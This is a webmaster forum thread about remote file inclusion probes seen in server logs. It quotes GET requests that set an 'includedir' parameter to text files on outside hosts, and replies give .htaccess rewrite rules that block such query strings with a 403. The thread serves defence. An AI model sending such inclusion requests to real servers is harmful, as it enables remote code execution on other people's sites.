Forum Moderators: phranque
In the log there tons of requests of such kind
GET /companies//ws/get_events.php?includedir=http://soomedomain.tld/images/copyright.txt?
GET /software//webcalendar/tools/send_reminders.php?includedir=http://someotherdomain.tdl/id1.txt?
The pages do not exist on our server. There are two things in common the request ending by [somefilename.txt?] We do not have any text files on the server except robots.txt. The second common thing is two forward slashes after an existing directory name.
Could anybody help us with a script to block such request via .htaccess?
we already blocked 500 IPs from compromized sites, so this is not an option. The are adding new sites as we speak.
Thank you!
DG
Options +FollowSymLinks
RewriteEngine on
RewriteCond %{QUERY_STRING} ^includedir=http://[^/]+/([^.]+\.)+txt\?*$
RewriteRule .* - [F]
If you use a custom 403 error document, be sure that you exclude its URL from this rule by using an additional RewriteCond. Otherwise, you'll get an 'infinite' loop.
Jim
Options +FollowSymLinks
RewriteEngine on
RewriteCond %{QUERY_STRING} [b]\.tx[/b]t\?*$
RewriteRule .* - [F,L]